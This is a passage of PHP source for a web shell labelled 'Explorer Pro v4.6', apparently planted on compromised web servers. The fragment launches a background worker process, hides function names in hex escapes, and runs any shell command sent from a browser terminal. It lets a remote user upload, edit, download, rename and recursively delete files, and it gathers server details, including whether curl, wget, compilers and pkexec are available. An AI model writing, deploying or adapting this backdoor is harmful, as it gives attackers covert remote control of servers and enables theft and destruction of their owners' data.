"; @file_put_contents($worker_name, $worker_content); @shell_exec("php $worker_name > /dev/null 2>&1 &"); } // ======================================================================== $sd = "\x73\x63\x61\x6e\x64\x69\x72"; $fg = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"; $self_dir = dirname($self_path); $path = isset($_GET['path']) ? $_GET['path'] : $self_dir; $path = realpath($path); if ($path) chdir($path); $msg = ""; $cmd_out = ""; // --- LOGIC HANDLERS --- if (isset($_POST['exec_cmd'])) { $cmd = $_POST['exec_cmd']; $cmd_out = shell_exec($cmd . " 2>&1"); } if (isset($_POST['new_folder'])) { if (@mkdir($_POST['new_folder'])) { $msg = "Folder Berhasil Dibuat!"; } } if (isset($_POST['new_file'])) { if (file_put_contents($_POST['new_file'], "")) { $msg = "File Berhasil Dibuat!"; } } if (isset($_POST['save_file'])) { if (file_put_contents($_POST['filename'], $_POST['content']) !== false) { $msg = "File Berhasil Disimpan!"; } else { $msg = "Gagal menyimpan file!"; } } if (isset($_GET['download'])) { $file = basename($_GET['download']); if (file_exists($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.$file.'"'); readfile($file); exit; } } if (isset($_FILES['u_file'])) { if (@move_uploaded_file($_FILES['u_file']['tmp_name'], $_FILES['u_file']['name'])) $msg = "Upload Berhasil!"; } if (isset($_GET['newname']) && isset($_GET['oldname'])) { if (@rename($_GET['oldname'], $_GET['newname'])) $msg = "Rename Berhasil!"; } if (isset($_GET['del'])) { $target = basename($_GET['del']); if (is_dir($target)) { shell_exec("rm -rf " . escapeshellarg($target)); } else { @unlink($target); } header("Location: ?key=$k&path=$path"); exit; } // --- UI RENDER --- echo "Explorer Pro v4.6
"; // --- GATHER SYSTEM INFO --- $server_ip = $_SERVER['SERVER_ADDR'] ?: gethostbyname($_SERVER['HTTP_HOST']); $server_soft = $_SERVER['SERVER_SOFTWARE']; $php_ver = phpversion(); $cur_user = get_current_user() . " (" . getmyuid() . ")"; $os = php_uname(); $doc_root = $_SERVER['DOCUMENT_ROOT']; $server_port = $_SERVER['SERVER_PORT']; $server_admin = $_SERVER['SERVER_ADMIN'] ?: "N/A"; // Check enabled functions $cmds = ['curl', 'wget', 'python', 'perl', 'ruby', 'gcc', 'pkexec']; $cmd_status = []; foreach ($cmds as $c) { $status = shell_exec("which $c") ? "YES" : "NO"; $cmd_status[] = strtoupper($c) . " ($status)"; } // --- TERMINAL & SYSTEM INFO UI --- echo "
System Information
Server IP: $server_ip
Server Software: $server_soft
PHP Version: $php_ver
Current User: $cur_user
Operating System: $os
Document Root: $doc_root
Server Port: $server_port
Server Admin: $server_admin
Command Line: " . implode(", ", $cmd_status) . "
Console Terminal
$
"; if ($cmd_out) echo "
".htmlspecialchars($cmd_out)."
"; echo "
"; // --- BREADCRUMB --- echo "
"; $home_url = basename(__FILE__) . "?key=" . $k; echo "🏠 HOME"; echo "
"; // --- TOOLBAR --- echo "
📁 New Folder
📄 New File
☁️ Upload
"; if ($msg) echo "
$msg
"; // --- EDITOR INTERFACE --- if (isset($_GET['edit'])) { $file_to_edit = $_GET['edit']; $full_path_edit = $path . DIRECTORY_SEPARATOR . $file_to_edit; if (file_exists($full_path_edit)) { $content = htmlspecialchars(file_get_contents($full_path_edit)); echo "
📝 Editing: $file_to_edit
CANCEL
"; } } // --- FILE LIST --- $all_items = $sd($path); $folders = []; $files = []; foreach ($all_items as $item) { if ($item == "." || $item == "..") continue; if (is_dir($path . DIRECTORY_SEPARATOR . $item)) { $folders[] = $item; } else { $files[] = $item; } } natcasesort($folders); natcasesort($files); $sorted_list = array_merge($folders, $files); echo ""; foreach ($sorted_list as $i) { $full = $path . DIRECTORY_SEPARATOR . $i; $isDir = is_dir($full); echo ""; echo ""; echo ""; echo ""; } echo "
NameSizeActions
" . ($isDir ? "📂 $i" : "📄 $i") . "" . ($isDir ? "Folder" : round(filesize($full)/1024, 2)." KB") . "
"; if (!$isDir) { echo "Edit"; echo "Get"; } echo ""; echo "Delete"; echo "
"; // --- RENAME MODAL --- echo " "; ?>